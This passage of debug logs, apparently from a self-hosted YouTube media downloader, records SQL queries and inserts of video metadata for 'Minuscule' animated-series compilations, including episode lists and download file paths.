s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:16.120 [debug] QUERY OK source="media_items" db=0.9ms idle=1473.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-30 06:00:55Z], 4] 00:48:16.180 [debug] QUERY OK source="media_items" db=59.5ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Right Seed | S01E57\n00:04:45 | Leech | S01E73\n00:09:10 | Love Story | S01E03\n00:13:59 | Nap Time | S01E14\n00:18:48 | The Apple Of Concord | S01E36\n00:23:34 | The Good Education | S01E56\n00:28:21 | The Wild Bunch | S01E74\n00:33:00 | The Last Supper | S01E25\n00:37:49 | Ladybugs | S01E17\n00:42:29 | Hyperactive | S01E54\n00:47:10 | The Ladybug | S01E01\n00:51:46 | Cherry Tomato | S01E77\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #seed #plant #fruit #leech #snail #friendship #Minuscule #nature #insects #ladybugs #animatedseries", "The Right Seed | Minuscule 🍃 70' Compilation", "b6805789-16b2-496d-a62c-8902b22d9431", "wOpl_pyms5o", 3416, false, 4, "https://www.youtube.com/watch?v=wOpl_pyms5o", 18, "/downloads/Miniscule Season 1/2025-09-30 The Right Seed | Minuscule 🍃 70' Compilation/The Right Seed | Minuscule 🍃 70' Compilation [wOpl_pyms5o].mkv", false, false, false, [], 1, ~U[2025-09-30 06:00:55Z], ~U[2025-12-14 07:48:16Z], ~U[2025-12-14 07:48:16Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Right Seed | S01E57\n00:04:45 | Leech | S01E73\n00:09:10 | Love Story | S01E03\n00:13:59 | Nap Time | S01E14\n00:18:48 | The Apple Of Concord | S01E36\n00:23:34 | The Good Education | S01E56\n00:28:21 | The Wild Bunch | S01E74\n00:33:00 | The Last Supper | S01E25\n00:37:49 | Ladybugs | S01E17\n00:42:29 | Hyperactive | S01E54\n00:47:10 | The Ladybug | S01E01\n00:51:46 | Cherry Tomato | S01E77\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #seed #plant #fruit #leech #snail #friendship #Minuscule #nature #insects #ladybugs #animatedseries", "The Right Seed | Minuscule 🍃 70' Compilation", "wOpl_pyms5o", 3416, false, 4, "https://www.youtube.com/watch?v=wOpl_pyms5o", "/downloads/Miniscule Season 1/2025-09-30 The Right Seed | Minuscule 🍃 70' Compilation/The Right Seed | Minuscule 🍃 70' Compilation [wOpl_pyms5o].mkv", false, ~U[2025-09-30 06:00:55Z]] 00:48:16.181 [debug] QUERY OK source="sources" db=0.6ms idle=63.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:16.182 [debug] QUERY OK source="media_profiles" db=0.3ms idle=63.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:16.183 [debug] QUERY OK source="media_items" db=0.5ms idle=64.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98294] 00:48:16.183 [debug] Current batch of media processed. Will check again in 1000ms 00:48:17.185 [debug] Current batch of media processed. Will check again in 1000ms 00:48:18.186 [debug] Current batch of media processed. Will check again in 1000ms 00:48:19.187 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Totem | S01E28\n00:04:46 | Cicadas’ Song | S01E16\n00:09:35 | Bananas | S01E69\n00:14:14 | The Bridge On The River Zzzzzzz | S01E18\n00:19:00 | The Quest For The Pink Lollipop | S01E32\n00:23:41 | Rosy | S01E38\n00:28:23 | The Shellproof Nut | S01E40\n00:33:12 | The Ladybug | S01E01\n00:37:48 | Convoy | S01E10\n00:42:30 | Goofing Off | S01E37\n00:47:11 | Ants | S01E02\n00:52:00 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#totem #ants #phone #anthill #cicadas #scorching #singing #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3411, "filename" => "/downloads/Miniscule Season 1/2025-09-27 Totem | Minuscule 🍃 70' Compilation/Totem | Minuscule 🍃 70' Compilation [fmL-ckTl_gw].mkv", "id" => "fmL-ckTl_gw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fmL-ckTl_gw", "playlist_index" => 19, "timestamp" => 1758996040, "title" => "Totem | Minuscule 🍃 70' Compilation", "upload_date" => "20250927"} 00:48:19.188 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1541.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:19.189 [debug] QUERY OK source="sources" db=0.3ms idle=1542.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:19.190 [debug] QUERY OK source="media_items" db=0.9ms idle=1543.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-27 18:00:40Z], 4] 00:48:19.194 [debug] QUERY OK source="media_items" db=2.4ms idle=1068.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Totem | S01E28\n00:04:46 | Cicadas’ Song | S01E16\n00:09:35 | Bananas | S01E69\n00:14:14 | The Bridge On The River Zzzzzzz | S01E18\n00:19:00 | The Quest For The Pink Lollipop | S01E32\n00:23:41 | Rosy | S01E38\n00:28:23 | The Shellproof Nut | S01E40\n00:33:12 | The Ladybug | S01E01\n00:37:48 | Convoy | S01E10\n00:42:30 | Goofing Off | S01E37\n00:47:11 | Ants | S01E02\n00:52:00 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#totem #ants #phone #anthill #cicadas #scorching #singing #Minuscule #nature #insects #ladybugs #animatedseries", "Totem | Minuscule 🍃 70' Compilation", "353afca8-2f2e-4572-8027-21c7434b2bbd", "fmL-ckTl_gw", 3411, false, 4, "https://www.youtube.com/watch?v=fmL-ckTl_gw", 19, "/downloads/Miniscule Season 1/2025-09-27 Totem | Minuscule 🍃 70' Compilation/Totem | Minuscule 🍃 70' Compilation [fmL-ckTl_gw].mkv", false, false, false, [], 1, ~U[2025-09-27 18:00:40Z], ~U[2025-12-14 07:48:19Z], ~U[2025-12-14 07:48:19Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Totem | S01E28\n00:04:46 | Cicadas’ Song | S01E16\n00:09:35 | Bananas | S01E69\n00:14:14 | The Bridge On The River Zzzzzzz | S01E18\n00:19:00 | The Quest For The Pink Lollipop | S01E32\n00:23:41 | Rosy | S01E38\n00:28:23 | The Shellproof Nut | S01E40\n00:33:12 | The Ladybug | S01E01\n00:37:48 | Convoy | S01E10\n00:42:30 | Goofing Off | S01E37\n00:47:11 | Ants | S01E02\n00:52:00 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#totem #ants #phone #anthill #cicadas #scorching #singing #Minuscule #nature #insects #ladybugs #animatedseries", "Totem | Minuscule 🍃 70' Compilation", "fmL-ckTl_gw", 3411, false, 4, "https://www.youtube.com/watch?v=fmL-ckTl_gw", "/downloads/Miniscule Season 1/2025-09-27 Totem | Minuscule 🍃 70' Compilation/Totem | Minuscule 🍃 70' Compilation [fmL-ckTl_gw].mkv", false, ~U[2025-09-27 18:00:40Z]] 00:48:19.195 [debug] QUERY OK source="sources" db=0.4ms idle=70.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:19.195 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:19.196 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97896] 00:48:19.197 [debug] Current batch of media processed. Will check again in 1000ms 00:48:20.198 [debug] Current batch of media processed. Will check again in 1000ms 00:48:21.199 [debug] Current batch of media processed. Will check again in 1000ms 00:48:22.200 [debug] Current batch of media processed. Will check again in 1000ms 00:48:23.201 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Caterpillar and the Brook | S01E08\n00:04:49 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:09:32 | A Cruel World | S01E46\n00:14:21 | Lettuce | S01E48\n00:19:08 | Caterpillars in Pairs | S01E06\n00:23:55 | Shell-Less | S01E19\n00:28:38 | The Ladybug | S01E01\n00:33:14 | Leech | S01E73\n00:37:39 | Narcissus | S01E47\n00:42:28 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:47:16 | Caterpillar Dream | S01E20\n00:52:05 | The Apple Of Concord | S01E36\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #brook #leaves #bush #Caterpillar #Butterfly #Countryside #Transformation #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3443, "filename" => "/downloads/Miniscule Season 1/2025-10-04 The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation/The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation [uNjdfWr28I4].mkv", "id" => "uNjdfWr28I4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uNjdfWr28I4", "playlist_index" => 20, "timestamp" => 1759600856, "title" => "The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation", "upload_date" => "20251004"} 00:48:23.202 [debug] QUERY OK source="sources" db=0.4ms idle=556.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:23.203 [debug] QUERY OK source="sources" db=0.3ms idle=557.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:23.204 [debug] QUERY OK source="media_items" db=0.9ms idle=558.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-04 18:00:56Z], 4] 00:48:23.208 [debug] QUERY OK source="media_items" db=2.5ms idle=560.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Caterpillar and the Brook | S01E08\n00:04:49 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:09:32 | A Cruel World | S01E46\n00:14:21 | Lettuce | S01E48\n00:19:08 | Caterpillars in Pairs | S01E06\n00:23:55 | Shell-Less | S01E19\n00:28:38 | The Ladybug | S01E01\n00:33:14 | Leech | S01E73\n00:37:39 | Narcissus | S01E47\n00:42:28 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:47:16 | Caterpillar Dream | S01E20\n00:52:05 | The Apple Of Concord | S01E36\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #brook #leaves #bush #Caterpillar #Butterfly #Countryside #Transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation", "bf13f788-39b7-4e5e-a014-8d98ca51694e", "uNjdfWr28I4", 3443, false, 4, "https://www.youtube.com/watch?v=uNjdfWr28I4", 20, "/downloads/Miniscule Season 1/2025-10-04 The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation/The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation [uNjdfWr28I4].mkv", false, false, false, [], 1, ~U[2025-10-04 18:00:56Z], ~U[2025-12-14 07:48:23Z], ~U[2025-12-14 07:48:23Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Caterpillar and the Brook | S01E08\n00:04:49 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:09:32 | A Cruel World | S01E46\n00:14:21 | Lettuce | S01E48\n00:19:08 | Caterpillars in Pairs | S01E06\n00:23:55 | Shell-Less | S01E19\n00:28:38 | The Ladybug | S01E01\n00:33:14 | Leech | S01E73\n00:37:39 | Narcissus | S01E47\n00:42:28 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:47:16 | Caterpillar Dream | S01E20\n00:52:05 | The Apple Of Concord | S01E36\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #brook #leaves #bush #Caterpillar #Butterfly #Countryside #Transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation", "uNjdfWr28I4", 3443, false, 4, "https://www.youtube.com/watch?v=uNjdfWr28I4", "/downloads/Miniscule Season 1/2025-10-04 The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation/The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation [uNjdfWr28I4].mkv", false, ~U[2025-10-04 18:00:56Z]] 00:48:23.209 [debug] QUERY OK source="sources" db=0.3ms idle=76.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:23.210 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:23.210 [debug] QUERY OK source="media_items" db=0.4ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98296] 00:48:23.211 [debug] Current batch of media processed. Will check again in 1000ms 00:48:24.212 [debug] Current batch of media processed. Will check again in 1000ms 00:48:25.213 [debug] Current batch of media processed. Will check again in 1000ms 00:48:26.214 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hyperactive | S01E54\n00:04:41 | A Bee’s Night Out | S01E51\n00:09:29 | Nap Time | S01E14\n00:14:18 | Horsefly | S01E21\n00:18:59 | The Wild Bunch | S01E74\n00:23:38 | The Good Education | S01E56\n00:28:25 | Leech | S01E73\n00:32:50 | The Last Supper | S01E25\n00:37:39 | Insect High Velocity | S01E53\n00:42:18 | No Exit | S01E61\n00:46:57 | The Ladybug | S01E01\n00:51:33 | The Zzzzzz Patrol | S01E39\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hyperactive #baby #bees #trouble #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3403, "filename" => "/downloads/Miniscule Season 1/2025-10-02 Hyperactive | Minuscule 🍃 70' Compilation/Hyperactive | Minuscule 🍃 70' Compilation [IF2FOhWnsYM].mkv", "id" => "IF2FOhWnsYM", 